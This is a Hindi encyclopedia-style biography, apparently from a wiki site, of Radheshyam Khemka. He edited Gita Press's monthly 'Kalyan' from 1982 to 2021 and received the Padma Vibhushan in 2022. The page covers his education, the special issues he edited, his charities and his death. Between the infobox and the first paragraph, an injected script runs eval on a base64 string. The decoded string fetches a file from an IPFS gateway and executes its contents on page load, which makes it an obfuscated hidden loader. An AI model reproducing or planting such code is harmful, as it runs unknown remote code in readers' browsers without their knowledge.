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राधेश्याम खेमका

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राधेश्याम खेमका
राधेश्याम खेमका
पूरा नाम राधेश्याम खेमका
जन्म 1935
जन्म भूमि ज़िला मुंगेर, बिहार
मृत्यु 3 अप्रॅल, 2021
अभिभावक पिता- सीताराम खेमका
संतान पुत्र- राजाराम खेमका

पुत्री- राज राजेश्वरी

कर्म भूमि भारत
कर्म-क्षेत्र पत्रकारिता व साहित्यकार
शिक्षा साहित्यरत्न, संस्कृत में स्नातकोत्तर, बनारस हिन्दू विश्वविद्यालय
पुरस्कार-उपाधि पद्म विभूषण (2022)
प्रसिद्धि लम्बे समय तक गीता प्रेस की पत्रिका 'कल्याण' का संपादन।
नागरिकता भारतीय
अन्य जानकारी राधेश्याम खेमका के संपादन में कल्याण के 40 वार्षिक विशेषांक, 460 संपादित अंक प्रकाशित हुए। इस दौरान कल्याण की नौ करोड़ 54 लाख 46 हजार प्रतियां प्रकाशित हुईं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>राधेश्याम खेमका (अंग्रेज़ी: Radheshyam Khemka, जन्म- 1935; मृत्यु- 3 अप्रॅल, 2021) प्रसिद्ध पत्रकार और साहित्यकार थे, जो 'गीता प्रेस ट्रस्ट बोर्ड' के अध्यक्ष रहे थे। उन्होंने 38 सालों तक गीता प्रेस द्वारा प्रकाशित मासिक पत्रिका 'कल्याण' का सम्पादन किया। उन्होंने कल्याण का संपादन नवंबर 1982 के संस्करण से लेकर अप्रॅल 2021 के संस्करण तक किया। उन्होंने बतौर अध्यक्ष अपने कार्यकाल के दौरान कई महापुराणों के संस्करणों का सम्पादन किया और उन्हें प्रकाशित कराया। साहित्य और शिक्षा के क्षेत्र में उनके योगदान को देखते हुए भारत सरकार ने 2022 में उन्हें देश के दूसरे सर्वोच्च नागरिक सम्मान पद्म विभूषण से सम्मानित किया।

परिचय

राधेश्याम खेमका का जन्म 1935 में बिहार के मुंगेर जिले में एक मारवाड़ी परिवार में हुआ था। उनके पिता सीताराम खेमका सनातन धर्म के अनुयायी और गोरक्षा आंदोलन में सक्रिय रहते थे। माता एक गृहणी थीं. उनका एक बेटा, राजाराम खेमका और एक बेटी, राज राजेश्वरी हैं।[1]

शिक्षा

साल 1956 से राधेश्याम खेमका अपने परिवार के साथ स्थायी रूप से वाराणसी में रहे। उन्होंने बनारस हिन्दू विश्वविद्यालय से संस्कृत में स्नातकोत्तर किया और साहित्यरत्न की उपाधि भी प्राप्त की। उन्होंने कानून की भी पढ़ाई की लेकिन डिग्री नहीं ली। वह कागज के व्यापार में शामिल रहने के साथ स्वाध्याय, सत्संग और संत समागम में सक्रिय रहते थे। बाद के वर्षों में वह तमाम व्यवसायों को छोड़कर, आखिर के 38 वर्षों तक गीता प्रेस की अवैतनिक सेवा करते रहे।

'कल्याण' का सम्पादन

राधेश्याम खेमका ने सबसे पहले वर्ष 1982 में गीता प्रेस से प्रकाशित होने वाली पत्रिका 'कल्याण' के विशेषांक का संपादन किया था। उसके बाद मार्च 1983 से वह लगातार कल्याण के संपादन का कार्य संभालते रहे। 86 वर्ष की उम्र में तबियत खराब होने के बावजूद उन्होंने अप्रैल 2021 तक के कल्याण के अंकों का पूरे उत्साह के साथ संपादन किया। उनके संपादन में कल्याण के 40 वार्षिक विशेषांक, 460 संपादित अंक प्रकाशित हुए। इस दौरान कल्याण की नौ करोड़ 54 लाख 46 हजार प्रतियां प्रकाशित हुईं। कल्याण में पुराणों एवं लुप्त हो रहे संस्कारों व कर्मकांड की पुस्तकों का प्रामाणिक संस्करण भी राधेश्याम खेमका के संपादन में ही प्रकाशित हुआ।[2]

विशेषांक सम्पादन

श्रीवामन पुराण अंक, चरितनिर्माण अंक, श्रीमत्स्य पुराण अंक (पूर्वार्ध), श्रीमत्स्य पुराण अंक (उत्रार्ध), संकीर्तन अंक, शक्ति उपासना अंक, शिक्षा अंक, पुराणकथा अंक, देवता अंक, योगतत्वांक, संक्षिप्त भविष्य पुराण अंक, श्रीराम भक्ति अंक, गो सेवा अंक, धर्मशास्त्र अंक, कूर्मपुराण अंक, भगलल्लीला अंक, वेद कथा अंक, संक्षिप्त गरुड़ पुराण अंक, आरोग्य अंक, नितिसार अंक, भगवत प्रेम अंक, व्रतपर्वोत्सव अंक, देवीपुराण (शक्तिपीठांक), अवतार कथा अंक, संस्कार अंक, श्रीमद्देवी भागवत अंक (पूर्वार्ध), श्रीमद्देवी भागवत अंक (उत्रार्ध), जीवनचर्या अंक, दानमहिमा अंक, श्रीलिंग महापुराण अंक, भक्तमाल अंक, ज्योतितत्वांक, सेवा अंक, गङ्गा अंक, शिव महापुराण अंक (पूर्वार्ध), शिव महापुराण (उत्रार्ध), श्रीराधा माधव अंक, बोधकथा अंक, श्री गणेश पुराण अंक।

आजीवन गंगाजल सेवन

गीता प्रेस के प्रबंधक लालमणि तिवारी के अनुसार- "अपने पूरे जीवन में राधेश्याम खेमका ने सिर्फ गंगा जल का ही पान किया। अन्न केवल दो बार ग्रहण करते थे। सादा जीवन उच्च विचार उनके आचरण में था। 60 से अधिक वर्षों तक उन्होंने इलाहाबाद के माघ मेला में एक महीने का कल्पवास किया था। उनका जीवन बहुत ही संयमित जीवन था। साधु संतों और गरीबों की सेवा करना उनके स्वभाव में था। अपने कार्यों के दम पर वह पद्म विभूषण के अधिकारी थे। भारत सरकार ने भी एक ऐसे व्यक्ति को पद्म विभूषण सम्मान से नवाजा, जिनके लिए कभी न प्रयास किया गया और न ही इनके मन में कभी इच्छा रही।[2]

विभिन्न समाजसेवी संस्थाओं से जुड़ाव

राधेश्याम खेमका ने 40 वर्षों से गीता प्रेस में अपनी भूमिका का निर्वाहन करते हुए अनेक धार्मिक पत्रिकाओं का संपादन किया। उनमें कल्याण प्रमुख है। साथ ही वह वाराणसी की प्रसिद्ध संस्थाओं मारवाड़ी सेवा संघ, मुमुक्षु भवन, श्रीराम लक्ष्मी मारवाड़ी अस्पताल गोदौलिया, बिड़ला अस्पताल मछोदरी, काशी गोशाला ट्रस्ट सहित विभिन्न समाजसेवी संस्थाओं से जुड़े रहे।

विद्यालय की स्थापना

राधेश्याम खेमका ने 2002 में वाराणसी में एक वेद विद्यालय की स्थापना की थी।

मृत्यु

कुछ वक्त तक बीमार चल रहे राधेश्याम खेमका की 3 अप्रॅल, 2021 को वाराणसी में उनके आवास पर 86 साल की आयु में मृत्यु हुई। उनका अंतिम संस्कार हरिश्चंद्र घाट पर किया गया।


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टीका टिप्पणी और संदर्भ

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